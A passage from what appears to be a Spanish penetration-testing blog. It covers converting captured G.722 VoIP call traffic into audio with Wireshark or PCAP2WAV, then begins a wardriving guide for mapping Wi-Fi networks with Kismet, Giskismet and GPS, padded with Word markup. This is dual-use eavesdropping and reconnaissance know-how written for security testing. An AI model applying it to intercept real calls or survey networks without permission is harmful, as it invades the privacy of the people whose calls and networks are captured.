<a href="http://4.bp.blogspot.com/-ksJfqMqY47g/USzkLvWgeLI/AAAAAAAAAZY/D_hRMaXcMvI/s1600/rtp_player.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="350" src="http://4.bp.blogspot.com/-ksJfqMqY47g/USzkLvWgeLI/AAAAAAAAAZY/D_hRMaXcMvI/s640/rtp_player.jpg" width="640" /></a></div>
<br /></div>
<div>
<br />
<br />
En este punto nos podemos encontrar con otro problema.Si el codec de las llamadas es G.722, ni ucsniff ni wireshark seran capaces de reproducir las llamadas por defecto, para ello tenemos que encontrar otra solución:<br />
<br />
(tráfico RTP G.722)<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-vBjBfXe8OjY/USzkmhCqSrI/AAAAAAAAAZg/s60FtxjxRHk/s1600/RTP_2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="338" src="http://3.bp.blogspot.com/-vBjBfXe8OjY/USzkmhCqSrI/AAAAAAAAAZg/s60FtxjxRHk/s640/RTP_2.jpg" width="640" /></a></div>
<br />
<br />
Para poder escuchar estas llamadas tenemos varias soluciones:<br />
<br />
<br />
Poder reproducir en wireshark --> Es preciso compilar wireshark incluyendo un código fuente de una modificación que hicieron la gente de wireshark para tal fin.<br />
<br />
<br />
Utilizar PCAP2WAV en su modalidad online o offline:<br />
<br />
Online (No recomendado) --> http://pcap2wav.xplico.org/ Se trata de un sitio web donde se puede convertir los pcaps para distintos codecs:<br />
(G711ulaw, G711alaw, G722, G729, G723, G726 and RTAudio (x-msrta: Real Time Audio)<br />
<br />
<br />
Offline --> Si lo queremos tener offline no tenemos más que seguir este hilo:<br />
http://wiki.xplico.org/doku.php?id=pcap2wav<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-shKDT4gkO4o/USzmKBMwp9I/AAAAAAAAAZs/1_omx2UjOKQ/s1600/xplico.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="347" src="http://4.bp.blogspot.com/-shKDT4gkO4o/USzmKBMwp9I/AAAAAAAAAZs/1_omx2UjOKQ/s640/xplico.png" width="640" /></a></div>
<br />
<br />
En otro post veremos como podemos solucionar este problema de seguridad en las redes de VoIP.<br />
<br />
<br /></div>
REAL PENTESTINGhttp://www.blogger.com/profile/02222861083999610170noreply@blogger.com6tag:blogger.com,1999:blog-694521803021083340.post-24051626515246219592013-02-14T04:30:00.000-08:002013-02-14T14:30:59.420-08:00WarDriving - Mapeo de redes Wifi<!--[if gte mso 9]><xml>
<o:OfficeDocumentSettings>
<o:AllowPNG/>
</o:OfficeDocumentSettings>
</xml><![endif]-->
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Tabla normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
<br />
<div class="MsoNormal">
El nombre del articulo lo dice todo (Mapear las redes Wifi mientras
conduces con tu vehículo y escribir cruces en los sitios donde se detectan,
solo que en nuestro caso lo haremos marcando las coordenadas GPS donde se
detectan).</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
En el siguiente artículo se mostrará cómo realizar un mapa
de cobertura Wifi de una zona concreta. Para ello necesitamos:</div>
<div class="MsoNormal">
<br /></div>
<ul>
<li><span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt "Times New Roman";">
</span></span></span>Teléfono móvil con GPS</li>
<li><span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt "Times New Roman";">
</span></span></span>Kismet</li>
<li><span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt "Times New Roman";">
</span></span></span>Giskismet</li>
<li><span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt "Times New Roman";">
</span></span></span>Google earth</li>
</ul>
<div class="MsoListParagraphCxSpLast" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
<br /></div>
<div class="MsoNormal">
Lo primero que debemos hacer es instalar en el teléfono
móvil el software que levantará un servicio donde se transmiten las coordenadas
GPS.</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
En nuestro caso como disponemos de un Iphone lo haremos con el software
GPS 2 IP para Iphone disponible en el AppStore por 6.99 €. </div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-F_fifCC-klg/URzLApXQQlI/AAAAAAAAAWo/tACTP1bsnzg/s1600/gps_iphone.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="425" src="http://3.bp.blogspot.com/-F_fifCC-klg/URzLApXQQlI/AAAAAAAAAWo/tACTP1bsnzg/s640/gps_iphone.PNG" width="640" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<o:OfficeDocumentSettings>
<o:AllowPNG/>
</o:OfficeDocumentSettings>
</xml><![endif]--></div>
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
